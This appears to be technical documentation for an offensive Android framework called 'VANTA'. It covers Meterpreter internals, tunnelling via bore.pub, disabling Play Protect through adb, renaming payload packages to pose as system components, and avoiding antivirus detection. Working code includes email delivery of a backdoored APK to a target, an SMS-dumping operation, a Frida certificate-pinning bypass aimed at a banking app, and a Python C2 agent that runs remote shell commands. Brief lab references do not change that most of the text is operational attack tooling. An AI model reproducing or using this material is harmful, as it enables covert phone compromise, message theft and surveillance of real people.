0x00001002 | TLV_TYPE_CHANNEL_TYPE | string | Channel type (e.g. stdapi_fs_file) |
0x00001003 | TLV_TYPE_CHANNEL_DATA | raw bytes | Channel payload (file chunks, stdin/stdout) |
Meterpreter Command Lifecycle
## msf console: meterpreter > sysinfo
## What actually travels over the wire:
# 1. msf sends REQUEST packet:
[ XOR_KEY (4B) ][ body_len (4B) ][ session_guid (16B) ][ enc_flags (4B) ]
[ TLV: type=TLV_TYPE_METHOD value="stdapi_sys_config_sysinfo\0" ]
[ TLV: type=TLV_TYPE_REQUEST_ID value="abc123-uuid\0" ]
# 2. Android Meterpreter agent processes request, executes:
getprop ro.product.model # device model
getprop ro.build.version.release # Android version
uname -a # kernel version
# 3. Agent sends RESPONSE packet:
[ XOR_KEY (4B) ][ body_len ][ session_guid ][ enc_flags ]
[ TLV: type=TLV_TYPE_REQUEST_ID value="abc123-uuid\0" ] # echo
[ TLV: type=TLV_TYPE_RESULT value=0x00000000 ] # success
[ TLV: type=TLV_TYPE_STRING value="Pixel 7\0" ] # model
[ TLV: type=TLV_TYPE_STRING value="13\0" ] # Android version
[ TLV: type=TLV_TYPE_STRING value="Linux 5.15.78-android\0" ] # kernel
HTTPS Transport — Why Meterpreter Bypasses Firewalls
android/meterpreter/reverse_https (the default VANTA payload) wraps every TLV packet inside
a standard HTTPS POST request. To a firewall or network monitor it looks identical to a web browser
uploading a form. The URL path is randomized per session. The payload never opens a raw TCP socket on an
unusual port — it only uses port 443 (HTTPS).
## What Meterpreter HTTPS looks like on the wire (after TLS decryption)
POST /randompath/abc123 HTTP/1.1
Host: bore.pub:<port>
Content-Type: application/octet-stream
Content-Length: <len>
Cookie: SESSION=<session_guid_hex>
[ XOR-encrypted TLV packet payload ]
## HTTP response carries the server's TLV response
HTTP/1.1 200 OK
Content-Length: <len>
[ XOR-encrypted TLV response ]
bore Tunnel — Under the Hood
bore (by Eric Zhang) solves the problem of exposing a localhost service to the internet
without port forwarding or a VPS. VANTA uses it to make both the APK download server and the MSF
handler reachable from any Android device, anywhere in the world.
Architecture
┌──────────────────────┐ ┌────────────────────────────┐
│ Your Kali machine │ │ bore.pub server │
│ │ TCP │ │
│ bore client │──────────│ bore server │
│ port: 5555 (local) │ port 7835│ port: <assigned> (public) │
│ │ │ │
│ MSF handler │ │ Android device connects │
│ :4444 │ │ → bore.pub:<port> │
└──────────────────────┘ └────────────────────────────┘
↑ ↑
local service public internet access
Connection Flow (Step by Step)
## 1. bore client starts — control connection to bore.pub:7835
bore local 4444 --to bore.pub
→ TCP connect to bore.pub:7835
→ Send: Hello { port: 4444, secret: "" }
→ Receive: Hello { port: 38521 } ← assigned public port
[bore client now prints: "listening at bore.pub:38521"]
## 2. Someone connects to bore.pub:38521 (e.g., the Android device)
bore.pub server: new inbound connection on :38521
→ Server sends "NewConnection" frame on control channel
→ bore client opens a NEW TCP connection to bore.pub:7835 (relay)
→ bore.pub splices: relay_conn ↔ inbound_conn (bidirectional byte copy)
## 3. bore client connects relay to local service
→ bore client connects relay socket to localhost:4444 (your MSF handler)
→ Now: Android ↔ bore.pub ↔ bore client ↔ localhost:4444 (MSF)
→ From MSF's view: a normal TCP connection arrived on :4444
bore Wire Protocol (Control Channel)
## bore uses JSON-encoded frames over TCP, length-prefixed
Frame format:
[ u64 length (8 bytes, big-endian) ][ JSON payload (length bytes) ]
Hello frame (client → server):
{"type":"Hello","payload":{"port":4444,"secret":""}}
Hello response (server → client):
{"type":"Hello","payload":{"port":38521}}
NewConnection frame (server → client on control):
{"type":"NewConnection","payload":{"id":"uuid-string"}}
## Data relay: no protocol — raw bytes spliced via tokio::io::copy
Meterpreter Staging — From APK to Shell
The android/meterpreter/reverse_tcp payload is a staged payload.
Understanding staging is crucial — it's why the APK file itself is small even though Meterpreter
has hundreds of capabilities.
Stage 0 — Stager (inside the APK):
┌────────────────────────────────────────────────────────────┐
│ Minimal Java code baked into the APK by msfvenom │
│ Role: connect to LHOST:LPORT, receive and execute Stage 1 │
│ Size: ~20KB of DEX bytecode │
└────────────────────────────────────────────────────────────┘
│ TCP/HTTPS connect to bore.pub:LPORT
▼
Stage 1 — Meterpreter Core (sent by MSF handler):
┌────────────────────────────────────────────────────────────┐
│ Meterpreter JARs streamed from MSF handler │
│ Loaded via DexClassLoader into memory (no disk write) │
│ Establishes TLV command channel │
│ Size: ~1.5 MB │
└────────────────────────────────────────────────────────────┘
│ TLV over HTTPS
▼
Stage 2 — Extensions (loaded on demand):
┌────────────────────────────────────────────────────────────┐
│ stdapi — filesystem, shell, network, camera, mic │
│ kiwi — credential harvesting (Android LSASS equivalent) │
│ incognito — token manipulation │
│ Each extension is a JAR streamed on-demand via TLV │
└────────────────────────────────────────────────────────────┘
DexClassLoader — In-Memory Execution
Android's DexClassLoader can load DEX/JAR files from any path — including paths
in /data/data/<pkg>/cache/. Meterpreter writes Stage 1 to the app's private cache
directory, loads it with DexClassLoader, then deletes the file. After that, the Meterpreter
code lives only in memory. This is why a device reboot terminates the Meterpreter session — the in-memory
JARs are gone. The BootReceiver VANTA installs reconnects by re-running the stager on boot.
Play Protect — Architecture & Bypass Mechanics
Google Play Protect has two enforcement layers. Understanding both is required to reliably deliver payloads.
Layer 1: SafetyNet / Play Integrity API
Runs in the cloud. When you install an APK, Google's servers check the SHA-256 of the APK against a known-malicious database. VANTA bypasses this with two techniques: (1) the stealth package rename changes the APK's signature (different class paths → different DEX checksum → different APK hash), and (2) the APK is re-signed with a custom keystore, making the v1/v2 signature completely different.
Layer 2: on-device verifier
Android ships a system service called the Package Verifier that checks installs against a local
heuristic database even offline. The two settings put global commands disable it:
## Disable both Play Protect verifier layers via ADB
adb shell settings put global verifier_verify_adb_installs 0
# verifier_verify_adb_installs: controls whether the Package Verifier
# checks apps installed via adb (default=1). Setting 0 skips cloud check.
adb shell settings put global package_verifier_enable 0
# package_verifier_enable: master switch for the Package Verifier service
# Setting 0 disables all verification for any install method.
## These settings survive in Android's global settings database (SQLite)
## at /data/data/com.google.android.gms/databases/phenotype.db
## They reset if GMS updates. Re-apply after GMS updates if needed.
## Restore after session (OPSEC: leave target clean)
adb shell settings put global verifier_verify_adb_installs 1
adb shell settings put global package_verifier_enable 1
Stealth Package Rename — Byte-Level Effect
When VANTA renames com.metasploit.stage → com.android.providers.settings.service,
it makes three changes:
## Change 1: smali directory rename
smali/com/metasploit/stage/MainService.smali
→ smali/com/android/providers/settings/service/MainService.smali
## Change 2: string replacement in every .smali and .xml file
.smali files: class declarations, invoke targets, type references
AndroidManifest.xml: android:name attributes, intent filter targets
## Change 3: classes.dex rebuilt — new SHA-1, new DEX string table
## Result: APK hash completely different from any known msfvenom sample
## The string "com.metasploit.stage" no longer exists in the binary
## Why "com.android.providers.settings.service"?
## com.android.providers.settings = real Android system package (exists on all devices)
## Adding ".service" makes it look like a sub-component of that system package
## Play Protect heuristics avoid flagging packages that look like system components
Module Customization — Deep Integration Guide
This section goes deeper than the Contributor Guide above. It covers how to extend VANTA's android_pentest capabilities with your own payload types, delivery methods, and post-exploitation chains — with working code you can paste directly into the module.
Adding a Custom msfvenom Payload Type
The payload type grid in the GUI and the --payload CLI flag both resolve to entries
in the PAYLOAD_MAP dict in android_pentest.py. Adding a new type requires
one dict entry and no other changes:
# In android_pentest.py, find PAYLOAD_MAP (dict near top of class)
PAYLOAD_MAP = {
"tcp": "android/meterpreter/reverse_tcp",
"https": "android/meterpreter/reverse_https",
"shell": "android/shell/reverse_tcp",
# ── Add your custom entry: ──
"http2": "android/meterpreter/reverse_http",
"bind": "android/meterpreter/bind_tcp",
}
# Usage after adding: set payload http2
Adding a Custom Delivery Method
The delivery pipeline in _bt_zero_deliver_operation() checks open_method
against known strings. Adding a new delivery path means adding an elif branch:
# After the existing "adb" branch in _bt_zero_deliver_operation()
elif open_method == "email":
# Example: send APK as email attachment via SMTP
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
smtp_host = self.params.get("smtp_host", "smtp.gmail.com")
smtp_user = self.params.get("smtp_user", "")
smtp_pass = self.params.get("smtp_pass", "")
target_email = self.params.get("target_email", "")
msg = MIMEMultipart()
msg["Subject"] = "Your requested file"
part = MIMEBase("application", "vnd.android.package-archive")
part.set_payload(apk_path.read_bytes())
encoders.encode_base64(part)
part.add_header("Content-Disposition", f"attachment; filename={apk_fname}")
msg.attach(part)
with smtplib.SMTP_SSL(smtp_host, 465) as s:
s.login(smtp_user, smtp_pass)
s.sendmail(smtp_user, target_email, msg.as_string())
auto_install_status = "email_sent"
hid_note = f"email delivery to {target_email}"
Writing a Custom Post-Exploitation Operation
Post-exploitation operations run after a Meterpreter session is established.
Here is a complete working template for a new dump_sms operation:
# Step 1: implement the operation method
def _dump_sms_operation(self):
"""Dump SMS inbox via ADB content provider query."""
self.log("[*] Querying SMS content provider ...")
# ADB shell: query the SMS content provider (works without root)
rc, out, err = self._adb_shell(
"content query --uri content://sms/inbox "
"--projection _id,address,body,date"
)
if rc != 0:
self.errors.append(f"SMS query failed: {err.strip()}")
return
# Parse output (format: "Row: N _id=X, address=Y, body=Z, date=W")
messages = []
for line in out.splitlines():
if line.startswith("Row:"):
parts = {k.strip(): v.strip()
for part in line.split(",")[1:]
for k, _, v in (part.partition("="),)}
messages.append(parts)
self.log(f"[+] Found {len(messages)} SMS messages")
# Save to work directory
out_file = self.work_dir / "sms_dump.json"
import json
out_file.write_text(json.dumps(messages, indent=2))
self.log(f"[+] Saved to {out_file}")
# Add finding (shown in GUI Findings tab)
self.findings.append({
"type": "sms_dump",
"count": len(messages),
"file": str(out_file),
"messages": messages[:10], # preview first 10
})
# Step 2: register in execute()
# No ADB needed beyond the shell call, but serial must be set:
ops = {
...,
"dump_sms": self._dump_sms_operation,
}
# Step 3: add to GUI — in android_gui.py OPS constant:
{id:"dump_sms", label:"dump sms",
desc:"Extract SMS inbox via content provider (no root)",
runLabel:"DUMP",
group:"post-exploitation",
fields:[]},
Hooking the SSE Log Stream
Every call to self.log() and self.warn() in a module operation is streamed
live to the GUI's terminal pane via Server-Sent Events (SSE). The GUI connects to
GET /stream/<session_id>. If you want your custom operation to emit structured
progress events rather than plain log lines:
# Emit a structured JSON event into the SSE stream:
self.log(f'\x00JSON\x00{{"type":"progress","pct":50,"msg":"half done"}}')
# The GUI's SSE parser checks for the \x00JSON\x00 prefix and parses the rest
# as JSON for the progress bar component
# Emit a finding card event (appears in Findings tab immediately):
self.log(f'\x00FIND\x00{{"type":"sms_dump","count":42}}')
# The sentinel codes:
# \x00RESULT\x00 — final JSON result (already used in execute())
# \x00JSON\x00 — in-stream progress event for GUI
# \x00FIND\x00 — push finding to Findings tab immediately
# \x00ERR\x00 — structured error (red banner in GUI)
Integrating a Custom Frida Script
The frida_hook operation accepts a script_path parameter pointing to a
custom .js file. Here is a complete Frida script template for intercepting
HTTPS traffic in any Android app (useful for bypassing certificate pinning):
// custom_ssl_bypass.js — paste into frida_hook script_path
Java.perform(function() {
// Method 1: OkHttp3 certificate pinner bypass
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload(
"java.lang.String", "java.util.List"
).implementation = function(hostname, certs) {
console.log("[*] SSL pin bypassed for: " + hostname);
// don't call original — return without throwing
};
} catch(e) { console.log("OkHttp3 not found: " + e); }
// Method 2: TrustManager bypass (accepts any cert)
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
var TrustManagerImpl = Java.registerClass({
name: "com.vanta.BypassTM",
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; },
}
});
var ctx = SSLContext.getInstance("TLS");
ctx.init(null, [TrustManagerImpl.$new()], null);
SSLContext.setDefault(ctx);
console.log("[+] TrustManager bypass installed");
});
# Run with VANTA:
set operation frida_hook
set script_path /home/user/custom_ssl_bypass.js
set target_process com.target.banking.app
run connected
Building a Custom C2 Agent
VANTA's C2 server (c2_gui.py) accepts any TCP agent that speaks the VANTA agent protocol — a simple newline-delimited JSON protocol. This means you can write agents in any language (Python, Go, Kotlin, shell scripts on rooted devices) and they will appear as sessions in the dashboard.
## VANTA agent protocol — newline-delimited JSON over TCP
# 1. Agent connects to attacker:8889
# 2. Agent sends HELLO with recon data:
{
"type": "HELLO",
"model": "Pixel 7",
"android": "13",
"sdk": "33",
"root": "magisk",
"patch": "2025-12-01",
"ip": "192.168.1.50"
}
# 3. Server queues commands; agent polls with PING:
{"type": "PING", "output": "<output of last command>"}
# 4. Server responds with COMMAND or empty:
{"type": "COMMAND", "cmd": "SH:id"}
# 5. Agent executes, sends next PING with output
{"type": "PING", "output": "uid=2000(shell) gid=2000(shell) ..."}
## Minimal Python agent (drop onto any rooted device via ADB):
import socket, subprocess, json, time
HOST, PORT = "bore.pub", 38521
sock = socket.create_connection((HOST, PORT))
def send(obj):
sock.sendall((json.dumps(obj) + "\n").encode())
def recv():
buf = b""
while not buf.endswith(b"\n"):
buf += sock.recv(4096)
return json.loads(buf.decode().strip())
send({"type":"HELLO","model":"CustomAgent","android":"13",
"sdk":"33","root":"none","patch":"2025-12-01","ip":"127.0.0.1"})
last_out = ""
while True:
send({"type":"PING", "output": last_out})
resp = recv()
if resp.get("type") == "COMMAND":
cmd = resp["cmd"]
if cmd.startswith("SH:"):
last_out = subprocess.getoutput(cmd[3:])
time.sleep(5)
Learning Path & Resources
Use this path to build deep Android security knowledge — from zero to writing your own exploits. Study the concepts in order, run VANTA against real targets as you go.
Step 1: Android Fundamentals (No Prerequisites)
| Resource | Type | Why |
|---|---|---|
| Android Developer Docs — App Architecture | Free (developer.android.com) | Understand Activities, Services, BroadcastReceivers — the components VANTA attacks |
| Android Security Internals (Nikolay Elenkov, No Starch) | Book | The single best resource on Android's security model: sandboxing, permissions, cryptography, keystore. Read chapters 1-5 first. |
| OWASP Mobile Application Security Testing Guide (MASTG) | Free (mas.owasp.org) | Official methodology for mobile app pentesting. Covers Android static and dynamic analysis. Use alongside app_scan and frida_hook operations. |
Step 2: ADB and APK Tools
| Resource | Focus |
|---|---|
| Android Debug Bridge (ADB) reference — developer.android.com/tools/adb | Every ADB command VANTA uses. Run each one manually to understand what it does before trusting the automation. |
| apktool documentation (apktool.org) | Decode/rebuild APKs manually before using VANTA's backdoor_apk. You'll understand why the tool does what it does. |
| smali/baksmali GitHub (github.com/JesusFreke/smali) | Official smali assembler. Read the README. Try disassembling a small app manually. |
| jadx (github.com/skylot/jadx) | Decompiles DEX to Java source code — more readable than smali for analysis. Used by app_scan internally. |
Step 3: Hands-On Labs
| Lab / App | Cost | What to practice |
|---|---|---|
| InsecureBankv2 (github.com/dineshshetty/Android-InsecureBankv2) | Free / self-hosted | Intentionally vulnerable Android app. Covers exported activities, SQLite injection, weak crypto, root detection bypass. Use app_scan and exploit operations against it. |
| DIVA Android (github.com/payatu/diva-android) | Free | Damn Insecure and Vulnerable App — 13 vulnerability challenges with hints. Perfect for learning app_scan findings in context. |
| HackTheBox Mobile challenges (hackthebox.com) | Free tier | Real APK challenges. Decompile, analyze, find the flag. Use jadx + smali reading from this doc. |
| Android-x86 emulator VM | Free (see lab-setup.html) | Full Android VM you own — safe to run payloads against. Set up via lab-setup.html Chapter 7. |
Step 4: Frida and Dynamic Analysis
| Resource | Focus |
|---|---|
| Frida Documentation (frida.re/docs) | Official docs. Read "JavaScript API" section for writing custom hooks used with VANTA's frida_hook operation. |
| Objection (github.com/sensepost/objection) | Runtime mobile exploration built on Frida. VANTA integrates it — read the README to understand what "objection explore" gives you. |
| r2frida (github.com/nowsecure/r2frida) | Combines Radare2 binary analysis with Frida runtime instrumentation — advanced use, but powerful for custom exploits. |
Step 5: Deep Reference Books
| Book | Best For |
|---|---|
| Android Hacker's Handbook (Drake et al., Wiley) | Covers exploit development, fuzzing, kernel vulnerabilities. Read after mastering the basics. |
| The Mobile Application Hacker's Handbook (Chell et al.) | Methodology for Android and iOS pentesting engagements. Good for understanding professional process. |
| Metasploit: The Penetration Tester's Guide (Kennedy et al.) | Understand Metasploit's architecture — useful for customizing the MSF payloads VANTA uses. |
Practice Path — Using android_pentest + Labs
## Recommended weekly progression
Week 1: Setup and Basics
Follow: lab-setup.html Chapter 7 — Android-x86 VM
Run: recon operation on your Android-x86 VM
Understand: every field in the recon output
Week 2: APK Analysis
Install InsecureBankv2 APK on your VM
Run: app_scan against it — read every finding
Manually: jadx decompile the APK, find the vulnerability in source
Week 3: Backdoor and Payload
Create a test APK with msfvenom manually (without VANTA)
Then: use backdoor_apk to inject a payload
Compare: the manual and VANTA output APKs with jadx
Start MSF handler: catch the Meterpreter session
Week 4: Evasion
Try: installing the raw msfvenom APK — watch Play Protect block it
Apply: stealth package rename (already in VANTA)
Test: DIVA app with frida_hook — bypass root detection
Advanced: write your own Frida script to hook a specific API
Week 5+: Real Apps (authorized)
Apply for a mobile bug bounty program (HackerOne / Bugcrowd)
Use app_scan as initial triage tool
Manual analysis of interesting findings
Requirements
Required
# Arch / CachyOS
sudo pacman -S android-tools apktool aapt jdk-openjdk
# Debian / Ubuntu / Kali
sudo apt install android-tools-adb apktool aapt2 default-jdk
/usr/bin/apktool wrapper hardcodes -Xmx256M
which causes OOM on large APKs (>30 MB). VANTA calls the JAR directly with
java -Xmx4g -jar /usr/share/java/android-apktool/apktool.jar to bypass this.
This path is standard on Arch/Debian. If your distro puts the JAR elsewhere, the wrapper is used
with the JAVA_TOOL_OPTIONS env var as fallback. Ensure at least 4 GB free RAM for rebuilding large APKs.
Optional (auto-offered on module load)
pip3 install frida-tools objection # Frida instrumentation
pip3 install requests # HTTP features
# Metasploit - for backdoor_apk / msf_handler
# Install from metasploit.com or your distro's package manager
Device Setup
# Enable USB Debugging (required for USB/initial connection)
Settings → Developer Options → USB Debugging → ON
# Authorize ADB on device when prompted (first USB connection)
adb devices # should show device serial
# Enable ADB over WiFi (Android 11+) — no USB cable after this
Settings → Developer Options → Wireless Debugging → ON
# Note the IP:port shown; then in VANTA:
set operation adb_wifi # auto-runs: adb tcpip 5555 (older Android)
# OR connect directly via TCP:
adb connect 192.168.1.128:5555
# Detect ADB-open Android devices on your LAN via netrecon:
# uses android preset: ports 5555,5037,5554,8080,8888,8889
# probes adb connect → grabs device model; raw CNXN handshake fallback
# flags ADB-TCP-OPEN CRITICAL if port 5555 is open
Reading Android's Assembly Language
When apktool decompiles an APK, it produces Smali files instead of Java. Smali is the human-readable form of Dalvik bytecode - the instruction set that Android's Dalvik/ART virtual machine executes. Understanding Smali is essential for reading injected payload code, verifying that backdoors were inserted correctly, and modifying app behavior at the bytecode level.
v0 through vN for local variables, and p0 through
pN for parameters. p0 is always this in instance methods.
You manipulate data by loading into registers and calling operations on them.invoke-virtual calls a method on an object instance.
invoke-static calls a static method. Format:
invoke-virtual {v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I.
Read as: call Log.d(String, String) which returns an int, using object in v0.move-result-object v0 captures the return value of the previous
invoke into v0. return-void exits a void method. const-string v0, "text"
loads a string literal into a register. These three operations make up the majority of Smali you
will read when examining injected payload stubs.invoke-static call into the target app's main Activity
onCreate method. The call triggers your payload class when the app starts. You can
verify the injection by running apktool d on the output APK and inspecting the Smali.# Decompile APK to Smali
apktool d target.apk -o decompiled/
# View the main activity Smali
cat decompiled/smali/com/target/app/MainActivity.smali
# What a payload injection looks like in Smali:
# --- injected block in onCreate ---
# invoke-static {}, Lcom/metasploit/stage/Payload;->start()V
# --- end injected block ---
# Key Smali instructions to recognize:
# const/4 v0, 0x1 = load integer 1 into v0
# if-eq v0, v1, :cond_0 = jump to label if v0 == v1
# new-instance v0, Ljava/lang/StringBuilder; = create object
# Recompile and verify
apktool b decompiled/ -o modified.apk
Getting Past AV and Installing the APK
A default Meterpreter APK is immediately flagged by antivirus because security vendors have analyzed it and added its signatures (unique byte patterns) to their detection databases. Evasion means changing the APK enough that those signatures no longer match, while keeping the payload functional. Every APK must also be signed with a code signing certificate before Android will install it.
com.metasploit.stage.Payload is a trivial signature.
The strings "metasploit" and "meterpreter" in the manifest or class files trigger immediate detection.
Even the structure of the dex file - specific method names, field names, and call patterns -
can be detected through heuristic analysis.
com.media.player.AudioService.
Do this consistently across all Smali files - a class rename in Smali requires updating every
reference to that class throughout all files. Tools like apktool rename or custom Python scripts
handle this. Even just renaming the main payload class drops detection significantly.
# Generate a custom signing keystore keytool -genkey -v -keystore my_release.keystore \ -alias myapp -keyalg RSA -keysize 2048 -validity 10000 \ -dname "CN=Media Corp, OU=Dev, O=MediaApps, L=Austin, S=TX, C=US" # Sign the recompiled APK apksigner sign --ks my_release.keystore \ --ks-key-alias myapp \ --out signed_payload.apk unsigned_payload.apk # Verify the signature apksigner verify --verbose signed_payload.apk # Quick AV check before delivery clamscan signed_payload.apk # test against local ClamAV as a baseline # do NOT upload to VirusTotal - samples get shared with AV vendors